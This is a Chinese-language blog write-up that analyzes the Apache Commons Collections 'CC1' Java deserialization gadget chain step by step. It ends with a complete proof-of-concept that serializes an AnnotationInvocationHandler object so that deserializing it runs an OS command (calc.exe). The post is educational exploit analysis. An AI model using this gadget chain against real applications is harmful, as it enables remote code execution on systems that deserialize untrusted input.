java-CC链1分析

java中本地命令执行常常用到反射+Runtime类

        Class rtClass = Class.forName("java.lang.Runtime");
        Object rt = rtClass.getMethod("getRuntime").invoke(rtClass);
        rtClass.getMethod("exec",String.class).invoke(rt,"calc.exe");

之前分析了简单的URLDNS链,这里分析Apache Commons Collections链 也就是CC链

那么我们先看看漏洞起因:

public interface Transformer {
 public Object transform(Object input);
}

首先以下的部分类实现了Transformer,serializable接口,实现了transform方法,我们看看关键的类

1.InvokerTransformer类反射执行命令

implements Transformer, Serializable

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    } 
public Object transform(Object input) {
      
         Class cls = input.getClass();
         Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
         return method.invoke(input, this.iArgs);
   }

首先第一个构造函数,(方法名,形参列表,给参数一传入的实参列表)

transform方法利用反射让对象去执行方法,那么我们岂不是可以让Runtime对象去执行exec

package com.zzy.ApacheCC;

import org.apache.commons.collections.functors.InvokerTransformer;

public class TransTest1 {
    public static void main(String[] args) {
        InvokerTransformer exec = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
                );

        Object input = Runtime.getRuntime();
        exec.transform(input);

    }
}

到这里我们仅仅实现了本地命令执行,怎么让目标自动触发transform?怎么把恶意参数传入?

2.ConstantTransformer类返回一个对象

implements Transformer, Serializable

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

该类的构造方法接收一个对象,并存储在成员变量中,transform方法返回这个对象,看似 没什么作用,但是它可以作为回调,返回一个对象。也就是如果在别的地方调用了这个对象的transform方法就可以得到这个对象存储在成员变量中的对象

3.ChainedTransformer遍历数组,依次调用数组元素的transform方法

implements Transformer, Serializable

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这个类竟然接受一个Transform接口数组,利用多态特性我们可以把实现类传入

我们传入数组后再调用它的transform方法

transform方法中遍历整个数组并依次调用数组中每个对象的transform方法,并将返回值作为下一个transform方法的形参

到这里我们解决了InvokerTransformer.transform()的调用问题,我们先完善poc,实现前三个类的联动效果

package com.zzy.ApacheCC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TransTest2 {
    public static void main(String[] args) {
        Transformer[] transformers = {
                //该对象的transform方法会返回输入的对象-->则返回Runtime类对象
                new ConstantTransformer(Runtime.class),

                //该对象的Transform方法返回一个对象-->通过Runtime类对象的.getClass()方法获得Class类对象
                // Class类对象调用getMethod方法获得getMethod方法对象(这样就可以让Runtime类对象来调用)
                //getMethod对象调用invoke方法获取到getRuntime方法对象
                // 总体如下
                //Class cls = Runtime.class.getClass(); //class java.lang.Class
                //Method method = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
                //Object invoke = method.invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),

                //getRuntime方法对象通过getClass方法得到Method类对象
                //Method类对象通过getMethod方法获得invoke方法对象
                //invoke方法对象调用invoke(getRuntime对象,new Object[]{null, null})
                //即getRuntime对象.invoke(null,null)-->null.getRuntime()
                //getRuntime方法对象执行invoke方法获取Runtime对象(null 可以理解为:Runtime r = null)
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}
                ),

                //Runtime对象通过getClass方法获取Runtime类对象
                //Runtime类对象通过getMethod方法获得exec方法对象
                //exec方法对象调用invoke方法
                //Runtime对象通过invoke方法调用exec方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                )
        };
        //该类可以传入Transfomer对象数组,以上的类都实现了Transformer接口,重写了Transform方法
        //该类遍历对象数组,依次调用Transform方法,并将每一次调用的返回对象作为下一个元素调用的形参
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }
}

虽然解决了第一个问题,但是新的问题来了,怎么调用ChainedTransformers.transform方法而且还需要传入一个数组

4.TransformedMap

extends AbstractInputCheckedMapDecorator implements Serializable

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

TransformedMap的decorate方法返回一个实例对象

我们发现TransformedMap的checkSetValue方法调用了第三个参数的transform方法

我们就可以这样传参数TransformedMap.decorate(map,null,ChainedTransformers对象)

但是这个chekSetValue方法修饰符为protected,最大范围为不同包的子类,无法直接调用

那么我们需要再找一个可以调用checkSetValue方法的类

5.AbstractInputCheckedMapDecorator

我们先看看TransformedMap的父类AbstractInputCheckedMapDecorator

public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
    }

static class EntrySetIterator extends AbstractIteratorDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }

        public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        }
    }

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

我们发现setValue方法调用了checkSetValue方法,那么怎么调用setValue方法?

6.AnnotationInvocationHandler

implements InvocationHandler, Serializable

	AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
    
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

这个类中readObject方法中调用checkSetValue方法,readObject不就是反序列化的关键方法吗

这里具体分析var5.setValue是怎么执行的.

memberValues就是我们传入的TransformedMap对象

memberValues.entrySet().iterator  ---->hasNext() ---->next() ---->setValue

我们看看这个next方法返回什么

static class EntrySetIterator extends AbstractIteratorDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }

        public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        }
    }

返回一个MapEntry,那最后不就是调用了MapEntry.setValue(),setValue调用checkSetValue

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

这里的parent就是我们的TransformedMap对象

再看一眼checkSetValue方法,ChainedTransformer.transform被调用,完成命令执行

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

好到这里cc链已经完整,附上POC和流程图

package com.zzy.ApacheCC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Poc {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),

                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}
                ),

                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                )
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","");
        Map outerMap = TransformedMap.decorate(innerMap,null,ct);


        //以下对两种调用方式给以比较说明:
        //Class.newInstance() 只能够调用无参的构造函数,即默认的构造函数;
        //Constructor.newInstance() 可以根据传入的参数,调用任意构造构造函数。
        Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
        cst.setAccessible(true);
        Object exploit = cst.newInstance(Target.class, outerMap);

        //序列化
        ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream("D:/exp.xxx"));
        outStream.writeObject(exploit);
        outStream.close();

        //反序列化
        ObjectInputStream inputS = new ObjectInputStream(new FileInputStream("D:/exp.xxx"));
        Object result = inputS.readObject();
        inputS.close();
        System.out.println(result);

    }
}

 

本文仅供参考学习交流

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值